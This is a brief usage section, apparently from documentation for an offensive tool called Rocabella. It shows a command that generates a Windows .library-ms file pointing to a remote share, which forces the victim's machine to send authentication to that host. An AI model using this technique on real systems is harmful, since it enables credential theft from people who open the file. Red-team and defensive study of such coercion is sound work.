library‐ms Usage
Windows Library files are a virtual container for user content and a .library-ms file can be used to point to a remote or local storage location. Abuse of these files has previously been talked about within the CIA Vault7 leaks. As hinted within the Vault 7 leak, the SearchConnectorDescription section of the library-ms file can point to a remote location which will again force authentication through.
Create a custom library-ms file with following command:
.\Rocabella.exe lib -t localhost -p 8080 -o mylib -s hello
which:
-
t: Set target host (Mandatory) -
p: Set port number (Optional, default port 80) -
s: Set remote share (Optional, default share name nickvourd) -
o: Set output file (Mandatory)
The following image presents the library‐ms structure:
